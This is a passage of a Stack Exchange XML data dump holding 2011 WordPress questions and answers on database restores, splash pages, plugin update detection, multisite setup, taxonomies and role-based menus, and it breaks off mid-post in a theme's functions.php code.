  <row Id="23456" PostTypeId="2" ParentId="23449" CreationDate="2011-07-19T16:21:10.387" Score="1" ViewCount="" Body="&lt;p&gt;There sure is: &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-user-management/&quot; rel=&quot;nofollow&quot;&gt;Multi Site user Management&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin syncs your users across sites. I've used it extensively and it works really well.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-19T16:21:10.387" />
  <row Id="23458" PostTypeId="1" AcceptedAnswerId="23463" CreationDate="2011-07-19T16:33:52.987" Score="1" ViewCount="112" Body="&lt;p&gt;I'm trying to restore a Wordpress blog from a backup. Unfortunately, all I have is an SQL dump of the database as generated by phpMyAdmin. The dump was created when the blog was running Wordpress 2.9/2.9.1/2.9.2. The new blog is a brand-new installation of Wordpress 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import the contents of the SQL dump into the new Wordpress installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried importing the dump into the database using phpMyAdmin &lt;em&gt;before&lt;/em&gt; installing Wordpress, but then install.php tells me that Wordpress seems to be already installed and that I should delete the database tables.&lt;/p&gt;&#xA;" OwnerUserId="7146" LastEditorUserId="7146" LastEditorDisplayName="" LastEditDate="2011-07-19T17:36:59.770" LastActivityDate="2011-07-20T18:12:36.893" Title="Import old SQL dump into new Wordpress version" Tags="&lt;import&gt;&lt;upgrade&gt;&lt;sql&gt;&lt;backup&gt;" AnswerCount="2" />
  <row Id="23459" PostTypeId="1" AcceptedAnswerId="23494" CreationDate="2011-07-19T16:34:34.513" Score="0" ViewCount="53" Body="&lt;p&gt;I made this website for my client using WordPress. It's all great but now he's asked me that when someone loads the website, before all the WP goodness, there's a page showing just the logo, then you click the logo and go to the main page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I could either do this by changing WP's index to some other name and have the actual index file be the logo thing etc; or have a pop-up* on the actual WP index that darkens the rest of the page, then you click the logo and it's gone, allowing you to navigate the page normally. It would have to appear only the first time the user loads the page and not when you 'come back' to it from another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Like when you click a screenshot here panic.com/coda for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with either option or show me a new one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7145" LastActivityDate="2011-07-19T23:13:09.793" Title="Need 'logo page' before wordpress page!" Tags="&lt;logo&gt;&lt;how-to&gt;" AnswerCount="3" />
  <row Id="23460" PostTypeId="1" AcceptedAnswerId="23468" CreationDate="2011-07-19T16:36:10.457" Score="2" ViewCount="28" Body="&lt;p&gt;How does WordPress know a plugin has an available update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the process handled by the readme.txt file?  I am trying to manage 3rd party plugins that I alter in an effort to better fit/meet the needs of my instance of WordPress but I would like to maintain the functionality that alerts the CMS user that an update is available for the 3rd party plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I alter a plugin’s title will WordPress still know if there is an update to that plugin's code base?  E.g. ‘Plugin Name’ (changed to) ‘Plugin Name – Modified’ &lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-07-19T18:56:25.273" Title="What Triggers a Plugin Update Alert" Tags="&lt;plugins&gt;&lt;update&gt;" AnswerCount="1" />
  <row Id="23461" PostTypeId="2" ParentId="23393" CreationDate="2011-07-19T16:37:23.373" Score="0" ViewCount="" Body="&lt;p&gt;I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/page-links-to/&quot; rel=&quot;nofollow&quot;&gt;Page Links To&lt;/a&gt; that solved my problem. &lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-19T16:37:23.373" />
  <row Id="23462" PostTypeId="2" ParentId="23459" CreationDate="2011-07-19T16:59:44.780" Score="1" ViewCount="" Body="&lt;p&gt;Use cookies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;check for the cookie and define a constant in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_user_logged_in() &amp;amp;&amp;amp; !isset($_COOKIE['seen_logo'])){&#xA;  setcookie('seen_logo', 1,  ...);&#xA;  define('SHOW_LOGO', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;do your magic in the index.php / home / template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(defined('SHOW_LOGO')){ ...  } else { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-19T16:59:44.780" CommentCount="3" />
  <row Id="23463" PostTypeId="2" ParentId="23458" CreationDate="2011-07-19T17:09:36.167" Score="3" ViewCount="" Body="&lt;p&gt;If it is an older version of WP, you need to find out what version of WP generated the database, as WP upgrades the DB most times the files are upgraded and you should incrementally upgrade to also upgrade the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in the wp_options table for option 711 and see what the version is; option name will be site_transient_update_core and the value will be the download link, i.e. &lt;a href=&quot;http://wordpress.org/wordpress-3.2.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/wordpress-3.2.1.zip&lt;/a&gt; which means the version is 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the version and leave a comment below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the age of the version, you need to do manual, incremental upgrades to get to at least 3.0 where you can use auto-update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you import/move a DB, no need to run install.php. Just upload all WP files and folders. See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-19T17:09:36.167" CommentCount="6" />
  <row Id="23464" PostTypeId="1" CreationDate="2011-07-19T17:41:13.790" Score="0" ViewCount="36" Body="&lt;p&gt;I have a site which is essentially a blog carrying alerts to Doctors. The idea is that the Doctors will get an SMS alerting them to the fact that a new alert has been posted and a link to the alert. The alert will contain images. It is public, hidden from SE but might contain some sensitive info. I was wondering if there was any way of authenticating a user by mobile phone number, or any easy way for a mobile phone user to log in to a Wordpress site?&lt;/p&gt;&#xA;" OwnerUserId="3425" LastActivityDate="2011-08-20T01:32:28.880" Title="Quick login from mobile phone" Tags="&lt;mobile&gt;" AnswerCount="1" />
  <row Id="23465" PostTypeId="2" ParentId="17781" CreationDate="2011-07-19T18:33:25.933" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;&lt;/a&gt; directly in your current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= '&amp;lt;img src=&quot;' .  wp_get_attachment_image_src( $attachment_id, $size ) . '&quot; alt=&quot;&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image()&lt;/code&gt;&lt;/a&gt; in &lt;em&gt;place&lt;/em&gt; of your current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= wp_get_attachment_image( $attachment_id, $size );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that in both cases you will have to retrieve the attachment ID in some manner. The most direct method will probably be &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_posts( array(&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'post_mime_type' =&amp;gt; 'image'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will return an array of attachment objects.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T18:33:25.933" />
  <row Id="23466" PostTypeId="2" ParentId="8887" CreationDate="2011-07-19T18:36:55.183" Score="0" ViewCount="" Body="&lt;p&gt;Check this out: &lt;a href=&quot;http://www.cedricve.me/blog/2011/07/18/how-to-make-use-of-wordpress-passwords/&quot; rel=&quot;nofollow&quot;&gt;http://www.cedricve.me/blog/2011/07/18/how-to-make-use-of-wordpress-passwords/&lt;/a&gt;&#xA;It explains how you can make an external login with the credentials of a wordpress installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can help you ;)&lt;/p&gt;&#xA;" OwnerUserId="7149" LastActivityDate="2011-07-19T18:36:55.183" />
  <row Id="23467" PostTypeId="1" CreationDate="2011-07-19T18:51:48.910" Score="0" ViewCount="76" Body="&lt;p&gt;I have a number of custom post types which share a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to implement a dropdown search box using php (to insert into a widget or elsewhere) that allows selection of a taxonomy term, and returns the posts which have that term, but only within a specific post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to then create one of these dropdown search boxes for each post type so a user can easily navigate to posts under a taxonomy term and within a post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone assist with this please?&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2011-08-19T12:32:11.140" Title="How to create Custom Taxonomy Search Drop Down for specific Post Type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;dropdown&gt;" AnswerCount="1" />
  <row Id="23468" PostTypeId="2" ParentId="23460" CreationDate="2011-07-19T18:56:25.273" Score="3" ViewCount="" Body="&lt;p&gt;Basically it sends a list of your plugins to the wordpress.org API server, which does some black magic to try to figure out if any of the plugins you have match the ones it has, then it returns version info back for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API uses a rather elaborate mechanism to match plugins against plugins it knows about, but these are the main things checked for: Plugin URI, Plugin Name, and Plugin slug (the directory name the plugin is in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change any of those and you reduce the chances of it finding a match, but it might still get it if two of them match, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info in the readme.txt is &lt;em&gt;not&lt;/em&gt; used for this. The header of the plugin's PHP file itself is used.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-19T18:56:25.273" CommentCount="3" />
  <row Id="23469" PostTypeId="1" CreationDate="2011-07-19T19:07:57.493" Score="0" ViewCount="24" Body="&lt;p&gt;For some reason, my menu items are showing tooltips on hover-over- In other words, the menu links have &quot;title&quot; attributes being added to them.  Looking at my other, older WordPress sites, this is not the case.  I can't remember having this issue before- Why would this be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks-&lt;/p&gt;&#xA;" OwnerUserId="4197" LastEditorUserId="4197" LastEditorDisplayName="" LastEditDate="2011-07-19T19:27:49.277" LastActivityDate="2011-08-20T14:32:38.167" Title="Disabling tooltip on menu items" Tags="&lt;menus&gt;" AnswerCount="1" />
  <row Id="23470" PostTypeId="2" ParentId="23469" CreationDate="2011-07-19T19:55:00.280" Score="0" ViewCount="" Body="&lt;p&gt;I fixed this by adding a explicitly creating a menu vs relying on the default.  Don't know why this would help (Figured it was an argument in wp_nav_menu_args but I couldn't find any dealing with this.)&lt;/p&gt;&#xA;" OwnerUserId="4197" LastActivityDate="2011-07-19T19:55:00.280" />
  <row Id="23471" PostTypeId="2" ParentId="11725" CreationDate="2011-07-19T20:27:18.343" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Determine your Multisite Blog ID. I will use 99 as an example&lt;/li&gt;&#xA;&lt;li&gt;Go into database&lt;/li&gt;&#xA;&lt;li&gt;Go to this table: wp_##_options (wp_99_options) - You will have a table for each blog.&lt;/li&gt;&#xA;&lt;li&gt;Find the record where &quot;option_name&quot; = &quot;wp_user_roles&quot;&lt;/li&gt;&#xA;&lt;li&gt;Change the text &quot;wp_user_roles&quot; to &quot;wp_##_user_roles&quot; (&quot;wp_99_user_roles&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;** the table you are editing will have option_id, blog_id, option_name, option_value, autoload.  HOWEVER, DO NOT CHANGE ANY RECORD except the record where &quot;option_name&quot; = &quot;wp_user_roles&quot;.  There will only be a single record in this table like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** &quot;wp_user_roles&quot; is used when there is no multisite install, and here, it appears as though it was just a bug when the table was created.&lt;/p&gt;&#xA;" OwnerUserId="7154" LastActivityDate="2011-07-19T20:27:18.343" />
  <row Id="23472" PostTypeId="1" AcceptedAnswerId="23490" CreationDate="2011-07-19T20:31:38.533" Score="0" ViewCount="42" Body="&lt;p&gt;Say, for example, I have the following custom taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Term 1&#xA;   Term 1.1&#xA;   Term 1.2&#xA;      Term 1.2.1&#xA;      Term 1.2.2&#xA;   Term 1.3&#xA;Term 2&#xA;   Term 2.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the children terms of Term 1, not including grandchildren? That is, I want my results to include only Term 1.1, Term 1.2, and Term 1.3. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="7152" LastEditorUserId="7152" LastEditorDisplayName="" LastEditDate="2011-07-19T20:39:46.470" LastActivityDate="2011-07-19T22:24:08.497" Title="Get only immediate children (and not grandchildren) of a hierarchical custom taxonomy term" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;terms&gt;&lt;children&gt;" AnswerCount="1" />
  <row Id="23473" PostTypeId="2" ParentId="22677" CreationDate="2011-07-19T20:33:46.380" Score="0" ViewCount="" Body="&lt;p&gt;Got it! The key was a custom callback on wp_list_comments. Here's the snippet of code I used within my comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (defined(&quot;STARRATING_INSTALLED&quot;)) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;rating&quot; style=&quot;float: right&quot;&amp;gt;&#xA;            &amp;lt;?php wp_gdsr_comment_integrate_standard_result(get_comment_ID()); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-07-19T20:33:46.380" />
  <row Id="23474" PostTypeId="1" AcceptedAnswerId="23513" CreationDate="2011-07-19T20:52:58.133" Score="0" ViewCount="51" Body="&lt;p&gt;I have a members section on my site and they see specific custom menu items. I'm seeking a way to simply apply a star to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; based on it's permission level and what the user's role is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something to the effect of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( current_user_can('integrator') || current_user_can('distributor')) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far and it applies a class to every menu item if the user's role is (whatever). I essentially need to apply the class if another class is present and the user's role is (whatever)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class' , 'my_nav_special_class' , 10 , 2);&#xA;function my_nav_special_class($classes, $item){&#xA;        if (current_user_can('integrator') || current_user_can('distributor')){&#xA;            $classes[] = 'PARTNER_STAR';&#xA;        }&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Courtesy &lt;a href=&quot;http://wordpress.stackexchange.com/users/2487/bainternet&quot;&gt;Bainternet&lt;/a&gt; from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10118/add-class-to-specific-link-in-custom-menu&quot;&gt;this post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I also want to note that I'm using &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt;&quot; to handle permissions. They do have a template function &lt;code&gt;is_restricted_rs()&lt;/code&gt; but I'm honestly unsure how to use it currently.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-07-20T16:07:00.667" LastActivityDate="2011-07-20T16:07:00.667" Title="How do I apply a class to custom menu items based on user roles" Tags="&lt;custom-menus&gt;&lt;user-roles&gt;&lt;list&gt;&lt;permissions&gt;" AnswerCount="3" />
  <row Id="23475" PostTypeId="1" AcceptedAnswerId="23476" CreationDate="2011-07-19T21:02:20.250" Score="0" ViewCount="15" Body="&lt;p&gt;Can i make it possible for an excerpt to be displayed in the index page but that part of the excerpt will not be displayed in the single post anymore?&lt;/p&gt;&#xA;" OwnerUserId="7155" LastActivityDate="2011-07-19T21:04:48.887" Title="Display a paragraph in the index page that won't be displayed in the single post" Tags="&lt;content&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="23476" PostTypeId="2" ParentId="23475" CreationDate="2011-07-19T21:04:48.887" Score="0" ViewCount="" Body="&lt;p&gt;Certainly: use the &quot;Excerpt&quot; textarea on the Post Edit screen. It should be immediately beneath the &quot;Content&quot; textarea; if not, check Screen Options (tab in the upper right-hand corner), and ensure that the &quot;Excerpt&quot; checkbox is enabled/checked.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T21:04:48.887" />
  <row Id="23477" PostTypeId="1" CreationDate="2011-07-19T21:10:14.313" Score="0" ViewCount="14" Body="&lt;p&gt;I need a list of all the blog post I wrote on a topic. (Basically a list of headlines that are marked with a certain category.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my readers once created a list like this and emailed it to me, but I never asked him how he did it and can't find his email.&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-08-19T04:26:52.953" Title="How do I export the headlines of all the blog posts in a single category?" Tags="&lt;categories&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23478" PostTypeId="2" ParentId="23474" CreationDate="2011-07-19T21:15:56.047" Score="0" ViewCount="" Body="&lt;p&gt;Instead of adding the classes directly to the li elements, you could add it to a wrapper. Or why not the body tag so it's available for multiple elements? Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# functions.php&#xA;function user_role_class() {&#xA;  // Some code here to return a string containing the user's role(s).&#xA;  // Perhaps see http://codex.wordpress.org/Function_Reference/get_role as a start?&#xA;}&#xA;&#xA;# header.php&#xA;...&#xA;&amp;lt;body &amp;lt;?php body_class(user_role_class()); ?&amp;gt;&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your stylesheet something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# style.css&#xA;ul.menu{/*default menu formatting here*/}&#xA;body.integrator ul.menu{/*role-specific menu formatting here*/}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This type of styling is powerful in that it can really reduce the amount of classes required throughout your code.&lt;/p&gt;&#xA;" OwnerUserId="7152" LastActivityDate="2011-07-19T21:15:56.047" CommentCount="0" />
  <row Id="23479" PostTypeId="2" ParentId="23474" CreationDate="2011-07-19T21:16:48.323" Score="0" ViewCount="" Body="&lt;p&gt;Try adding &lt;code&gt;global $current_user; get_currentuserinfo();&lt;/code&gt; to the top of your function.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-19T21:16:48.323" />
  <row Id="23480" PostTypeId="2" ParentId="23327" CreationDate="2011-07-19T21:18:42.767" Score="1" ViewCount="" Body="&lt;p&gt;One thought - when I go to www.example.com/staging/wp-admin it automatically redirects me to www.example.com/wp-admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the redirect from staging.example.com to example.com/staging be conflicting with the existing install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  looks like it could be related to .htaccess issues and complicated domain references in the database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the WP Codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Moving WordPress Multisite&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Multisite is far more complicated to&#xA;  move, as the database itself has multiple references to the server&#xA;  name as well as the folder locations.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The best way to move Multisite is to move the files, edit the&#xA;  .htaccess and wp-config.php (if the folder name containing Multisite&#xA;  changed), and then manually edit the database. Search for all&#xA;  instances of your domain name, and change them as needed. This step&#xA;  cannot yet be easily automated. If you're moving Multisite from one&#xA;  folder to another, you will need to make sure you edit the wp_blogs&#xA;  entries to change the folder name correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5861" LastEditorUserId="5861" LastEditorDisplayName="" LastEditDate="2011-07-19T21:51:21.380" LastActivityDate="2011-07-19T21:51:21.380" CommentCount="0" />
  <row Id="23482" PostTypeId="1" AcceptedAnswerId="23483" CreationDate="2011-07-19T21:32:48.593" Score="0" ViewCount="11" Body="&lt;p&gt;I have a page that is password protected, and I wish to removed some parts of the theme, and add others. Can I do that? Is there a check I can do in the theme files to see if a user has entered the password or not?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-19T21:35:35.663" Title="Using password protection to load different page elements?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;security&gt;&lt;password&gt;" AnswerCount="1" />
  <row Id="23483" PostTypeId="2" ParentId="23482" CreationDate="2011-07-19T21:35:35.663" Score="1" ViewCount="" Body="&lt;p&gt;Just use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_password_required&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post_password_required()&lt;/code&gt;&lt;/a&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( post_password_required() ) {&#xA;    // Post is password-protected; do something&#xA;} else {&#xA;    // Post is NOT password-protected; do something else&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T21:35:35.663" />
  <row Id="23484" PostTypeId="1" AcceptedAnswerId="23495" CreationDate="2011-07-19T21:42:35.847" Score="0" ViewCount="86" Body="&lt;p&gt;I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = 'SELECT * FROM wp_pod_tbl_add_questions WHERE id LIKE '. $id;&#xA;&#xA;                                        $row = $wpdb -&amp;gt; get_results($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the columns named 'id' and 'name' from $row?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-19T23:20:01.340" Title="How to parse row results from $wpdb -&gt; get_results" Tags="&lt;wpdb&gt;" AnswerCount="2" />
  <row Id="23485" PostTypeId="2" ParentId="23322" CreationDate="2011-07-19T21:49:24.923" Score="0" ViewCount="" Body="&lt;p&gt;Alternate approach: use the &lt;a href=&quot;http://wordpress.org/extend/plugins/cleaner-gallery/&quot; rel=&quot;nofollow&quot;&gt;Cleaner Gallery&lt;/a&gt; Plugin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T21:49:24.923" CommentCount="1" />
  <row Id="23486" PostTypeId="1" CreationDate="2011-07-19T21:54:48.910" Score="0" ViewCount="36" Body="&lt;p&gt;Just trying the multisite feature for the first time. The primary hostname is blog.domain1.com. When trying to create multiple sites, it only allows me to create XXXXX.blog.domain1.com. But what I really want is blog.domain2.com, blog.domain3.com, etc. All on the same Apache instance, same database, same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that doable directly with WP? I could try some Apache rewrite wizardry, but it just seems ugly. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2011-07-19T22:14:50.063" Title="Multisite with entirely different domains?" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="23487" PostTypeId="2" ParentId="23486" CreationDate="2011-07-19T22:05:24.730" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping&lt;/a&gt; Plugin?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T22:05:24.730" />
  <row Id="23488" PostTypeId="2" ParentId="23484" CreationDate="2011-07-19T22:07:48.113" Score="0" ViewCount="" Body="&lt;p&gt;Always Try the WordPress Codex:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#SELECT_Generic_Results&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/wpdb#SELECT_Generic_Results&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially given the default syntax, the variable $row here is an object containing your results. You could alternately specify the TYPE of result (numeric array, associative array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming just one result, then $row-&gt;id and $row-&gt;name should give you the information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get back more than one result, you'd want to loop over the entries in the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are expecting just one row back, then try using $wpdb-&gt;get_row&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb#SELECT_a_Row&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/wpdb#SELECT_a_Row&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2390" LastActivityDate="2011-07-19T22:07:48.113" />
  <row Id="23489" PostTypeId="2" ParentId="23486" CreationDate="2011-07-19T22:14:50.063" Score="1" ViewCount="" Body="&lt;p&gt;As Chip said.. install WordPress MU Domain Mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a subdomain on each of the domains you want to connect. Point that subdomain to you server IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use WordPress MU Domain Mapping and connect each subdomain you just pointed to your blog id..&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-19T22:14:50.063" CommentCount="3" />
  <row Id="23490" PostTypeId="2" ParentId="23472" CreationDate="2011-07-19T22:24:08.497" Score="1" ViewCount="" Body="&lt;p&gt;possibly with &lt;code&gt;get_terms()&lt;/code&gt; and the &lt;code&gt;'parent'&lt;/code&gt; parameter: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-19T22:24:08.497" CommentCount="1" />
  <row Id="23491" PostTypeId="1" CreationDate="2011-07-12T18:57:07.443" Score="1" ViewCount="38" Body="&lt;p&gt;I get the next error with a theme created from scratch for a Wordpress site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/ventanasvillaverde.com/httpdocs/wp-content/themes/wp-ventanasvillaverde/functions.php:1) in /var/www/vhosts/ventanasvillaverde.com/httpdocs/wp-includes/pluggable.php on line 934&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that this error can be caused because of garbage or empty lines in .php files however I do not find the issue. I post my functions.php file. There is not empty lines before or after &lt;code&gt;&amp;lt;?php ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function ventanasvillaverde_widgets_init() {&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Navegación Principal', 'ventanasvillaverde' ),&#xA;        'id' =&amp;gt; 'primary-widget-area',&#xA;        'description' =&amp;gt; __( 'The primary widget area', 'ventanasvillaverde' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;}&#xA;add_action( 'widgets_init', 'ventanasvillaverde_widgets_init' );&#xA;if ( ! function_exists( 'ventanasvillaverde_setup' ) ) :&#xA;function ventanasvillaverde_setup() {&#xA;    // This theme uses wp_nav_menu() in one location.&#xA;    register_nav_menus( array(&#xA;        'primary' =&amp;gt; __( 'Navegación Principal', 'ventanasvillaverde' )&#xA;    ) 